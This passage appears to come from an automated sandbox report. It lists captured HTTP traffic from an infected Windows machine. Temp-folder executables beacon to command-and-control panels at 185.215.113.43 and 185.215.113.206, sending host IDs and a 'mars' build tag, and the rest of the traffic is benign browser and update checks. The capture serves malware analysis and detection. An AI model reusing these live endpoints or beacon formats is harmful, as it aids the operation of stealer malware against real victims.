Nov 18, 2024 13:30:55.084131002 CET	424	IN	Data Raw: f2 38 6a 0d 20 cc 35 15 73 a3 56 1c bc 4d 90 34 bd f4 74 c5 7b f3 ce ee 62 ec 1a af 6d da 3c eb 6e a1 70 64 5a ab 73 03 02 d3 e4 42 75 e0 d3 70 17 22 72 65 77 00 73 17 52 eb 19 4c e9 1b 24 6d 41 f6 29 ef 66 1e f7 46 ad af 68 bf 95 91 5e 28 fd 44 Data Ascii: 8j 5sVM4t{bm<npdZsBup"rewsRL$mA)fFh^(Dh3_+HY`Nrg^V,\hVh3c2I'3Pdl@O->`Z.v3SurG>;Gs [wJmXgDYtB. Z
Nov 18, 2024 13:30:55.091375113 CET	1236	IN	Data Raw: 5b cb 41 16 bf 2a 16 e7 48 cf 9e 66 43 d3 ba 7a ea ff 6c 1e 7d 71 e0 32 36 78 6f 0e 93 64 30 36 33 e0 0b 26 f5 df 91 1f d0 d2 2a 57 6d 00 91 ea 3d ab 5c 2f 0a 53 f2 83 02 57 fa f3 fb 17 fd 1f f6 02 72 ba 68 ff b3 ea d8 e8 0d 66 75 db 7b 8f 4c 50 Data Ascii: [AHfCzl}q26xod063&Wm=\/SWrhfu{LPcwdm`k2sF('Zp_Vn`g\g\|D9:hfwjWu*alCdi+4'b{r0K/w5.srAIz7HB,RqWtI$!F=,LG>.7)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49879	185.215.113.43	80	8296	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:54.309829950 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 31 35 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007152001&unit=246122658369
Nov 18, 2024 13:30:55.230082035 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49880	34.107.221.82	80	3712	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:54.395565987 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 13:30:54.990928888 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 17:12:22 GMT Age: 69512 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 13:31:05.003640890 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49883	185.215.113.206	80	5180	C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:56.178423882 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 13:30:57.083066940 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 13:30:57.088049889 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJ Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 37 32 45 45 41 34 41 42 39 44 44 34 33 38 34 30 38 37 32 35 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="hwid"472EEA4AB9DD438408725------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="build"mars------EHJDHJKFIECAAKFIJJKJ--
Nov 18, 2024 13:30:57.368935108 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49884	185.215.113.43	80	8296	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:56.917005062 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 13:30:57.837580919 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49886	185.215.113.43	80	8296	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:31:00.098687887 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 18, 2024 13:31:00.991822004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.8	49887	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:31:02.637590885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 13:31:03.550240040 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:31:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.8	49890	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:31:05.074843884 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 18, 2024 13:31:05.978132010 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:31:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.8	49893	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:31:07.971617937 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 13:31:08.808134079 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:31:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.8	49912	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:31:12.392431974 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 13:31:12.995300055 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 17:12:22 GMT Age: 69530 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.8	49923	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:31:13.082927942 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 13:31:13.679852009 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 80413 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.8	49925	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:31:13.154850960 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 13:31:13.750840902 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 17:12:22 GMT Age: 69531 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 13:31:13.760945082 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 13:31:13.885449886 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 17:12:22 GMT Age: 69531 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 13:31:14.058418036 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 13:31:14.183885098 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 17:12:22 GMT Age: 69532 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 13:31:14.441674948 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 13:31:14.566580057 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 17:12:22 GMT Age: 69532 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 13:31:14.708476067 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 13:31:14.833324909 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 17:12:22 GMT Age: 69532 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 13:31:15.082386017 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 13:31:15.207801104 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 17:12:22 GMT Age: 69533 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 13:31:15.828458071 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 13:31:15.952805996 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 17:12:22 GMT Age: 69533 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 13:31:19.441648960 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 13:31:19.567424059 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 17:12:22 GMT Age: 69537 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.8	49927	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:31:13.764559031 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.8	49929	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:31:13.896682978 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.8	49934	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:31:14.206636906 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.8	49936	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:31:14.588171959 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.8	49937	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:31:14.934803963 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.8	49939	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:31:15.297065020 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 13:31:15.894804001 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 80415 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 13:31:16.030225039 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 13:31:16.156275988 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 80416 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 13:31:19.590014935 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 13:31:19.714653969 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 80419 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49710	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:12 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7etvo8RcU7kD8zR&MD=o3Wk6usb HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
